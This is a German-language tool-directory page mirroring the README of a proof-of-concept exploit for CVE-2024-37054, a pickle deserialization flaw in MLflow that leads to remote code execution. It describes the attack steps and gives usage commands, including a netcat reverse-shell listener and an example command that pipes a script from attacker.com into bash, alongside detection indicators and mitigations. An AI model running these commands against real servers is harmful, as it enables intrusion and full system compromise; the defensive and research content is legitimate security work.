Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-37054 — Proof-of-Concept-Exploit für CVE-2024-37054, eine Pickle-Deserialisierungs-RCE in MLflow Tracking Server. Authentifizierte Angreifer können Modellartefakte überschreiben, um Remote-Codeausführung zu erreichen. Enthält Anleitung zur Erkennung und Schadensbegrenzung. | Kitploit
Tools/GitHubGitHub/ben-slates/cve-2024-37054
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Proof-of-Concept-Exploit für CVE-2024-37054, eine Pickle-Deserialisierungs-RCE in MLflow Tracking Server. Authentifizierte Angreifer können Modellartefakte überschreiben, um Remote-Codeausführung zu erreichen. Enthält Anleitung zur Erkennung und Schadensbegrenzung.

Repository anzeigen
552vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-37054 — MLflow Pickle-Deserialisierung RCE

Python CVE CVSS Affected License

Proof-of-Concept-Exploit für eine kritische Pickle-Deserialisierungs-Schwachstelle im MLflow Tracking Server, die authentifizierte Remote-Codeausführung ermöglicht.

⚠️ Nur für Bildungszwecke und autorisierte Sicherheitstests. Nicht gegen Systeme verwenden, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.


Schwachstellenübersicht

FeldWert
CVE-IDCVE-2024-37054
CVSS-Score8.8 (HIGH)
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Betroffene VersionenMLflow < 2.14.3
Patch-VersionMLflow ≥ 2.14.3
SchwachstellentypCWE-502: Deserialisierung nicht vertrauenswürdiger Daten
AngriffsvektorNetzwerk
Erforderliche BerechtigungenNiedrig (gültige Anmeldeinformationen)
BenutzerinteraktionKeine

Beschreibung

Der MLflow Tracking Server deserialisiert Modellartefakte über das Python-Modul pickle, wenn Modelle zur Inferenz geladen werden. Ein authentifizierter Angreifer kann das Artefakt python_model.pkl im MLflow-Artefakt-Repository mit einer bösartigen Pickle-Nutzlast überschreiben. Wenn das Modell anschließend geladen wird (z. B. während einer Vorhersageanfrage), wird die Nutzlast deserialisiert und führt beliebigen Code auf dem Server aus.

Voraussetzungen für die Ausnutzung:

  • Netzwerkzugriff auf den MLflow Tracking Server
  • Gültige MLflow-Anmeldeinformationen (Standard oder andere)
  • Schreibzugriff auf Artefakte (gewährt allen authentifizierten Benutzern)

Auswirkungen

Eine erfolgreiche Ausnutzung führt zur Remote-Codeausführung mit den Berechtigungen des MLflow-Serverprozesses, was zu einer vollständigen Systemkompromittierung, Datenexfiltration, lateraler Bewegung oder dauerhaftem Zugriff führen kann.


Wie der Exploit funktioniert

  1. Modellregistrierung — Ein legitimer Trainingsdatensatz wird hochgeladen, um einen neuen MLflow-Lauf zu erstellen und eine Modellversion mit Standardartefakten zu registrieren.
  2. Artefakt-Überschreiben — Das Artefakt python_model.pkl wird über PUT /api/2.0/mlflow-artifacts/artifacts/... durch eine manipulierte Pickle-Nutzlast ersetzt.
  3. Auslösen der Deserialisierung — Eine Vorhersageanfrage führt dazu, dass MLflow pickle.load() auf dem kompromittierten Artefakt aufruft.
  4. Codeausführung — Die __reduce__-Methode des Pickles ruft os.system() auf und führt den Befehl des Angreifers aus.

Die Nutzlast verwendet os.system() (ein C-built-in) anstelle von cloudpickle, um die Versionsübergreifende Kompatibilität zu maximieren und Python-versionsspezifische Bytecode-Probleme zu vermeiden.


Installation

Anforderungen: Python 3.7+, requests

git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Verwendung

# Starten Sie einen Listener
nc -lvnp 4444

# Führen Sie den Exploit aus
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Beispiele

# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Optionen

ArgumentBeschreibung
targetZiel-Applikations-URL
mlflowMLflow Tracking Server URL
lhostAngreifer-Host für Reverse-Shell-Rückruf
lportAngreifer-Port für Reverse-Shell-Rückruf
--mlflow-creds USER:PASSMLflow-Anmeldeinformationen (Standard: admin:password)
--app-usernameBenutzername für die Anwendungsanmeldung
--app-passwordPasswort für die Anwendungsanmeldung
--app-login-urlPfad zum Login-Endpunkt
--upload-urlPfad zum Upload-Endpunkt
--predict-urlPfad zum Vorhersage-Endpunkt
--experiment-id IDZiel eines bestimmten Experiment-ID
--delay SEKUNDENVerzögerung zwischen Schritten (Standard: 2s)
--cmd BEFEHLAuszuführender benutzerdefinierter Befehl
--verbose / --quietAusführlichkeitskontrolle
--no-colorFarbausgabe deaktivieren

Erkennung

Netzwerk-Indikatoren

  • PUT-Anfragen an /api/2.0/mlflow-artifacts/artifacts/-Endpunkte
  • Unerwartete Änderungszeitstempel von python_model.pkl
  • POST /api/2.0/mlflow/runs/search gefolgt von sofortigen Artefaktänderungen

Host-Indikatoren

  • Unerwartete os.system()-Aufrufe von MLflow-Prozessen
  • Python-Subprozesse, die von MLflow-Arbeiterprozessen gestartet werden
  • Ausgehende Verbindungen vom MLflow-Server zu unbekannten Hosts

Log-Abfragen

# Artefaktänderung in Zugriffslogs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# Dateiintegritätsüberwachung
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Abhilfemaßnahmen

Sofort:

  • Upgrade von MLflow auf 2.14.3 oder höher
  • Rotieren aller Standard- oder schwachen Anmeldeinformationen
  • Netzwerkzugriff auf MLflow-API-Endpunkte einschränken
  • Artefakt-Änderungsverlauf auf Anzeichen von Manipulation prüfen

Langfristig:

  • Implementierung von Artefakt-Signierung und Integritätsprüfung vor dem Laden von Modellen
  • Verwendung von Modell-Signatur-Erzwingung und Einschränkung von Pickle-basierten Modell-Flavours, wo möglich
  • Aktivierung der MLflow-Audit-Protokollierung und Alarmierung bei unerwarteten Artefakt-Schreibvorgängen

Getestete Umgebungen

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Verschiedene Bereitstellungskonfigurationen: lokal, Docker, Kubernetes

Referenzen

  • NVD — CVE-2024-37054
  • MLflow-Sicherheitshinweis
  • CWE-502: Deserialisierung nicht vertrauenswürdiger Daten
  • MLflow-Dokumentation — Modell-Registry

Haftungsausschluss

Dieses Tool ist ausschließlich bestimmt für:

  • Sicherheitsforscher, die Deserialisierungsschwachstellen untersuchen
  • Penetrationstester, die unter schriftlicher Autorisierung handeln
  • Systemadministratoren, die ihre eigenen MLflow-Bereitstellungen prüfen
  • Bildungszwecke in kontrollierten Laborumgebungen

Verwenden Sie dieses Tool nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.


Lizenz

MIT — siehe LICENSE für Details.


Kontakt

📧 [email protected]
🐛 Problem melden

Tool herunterladen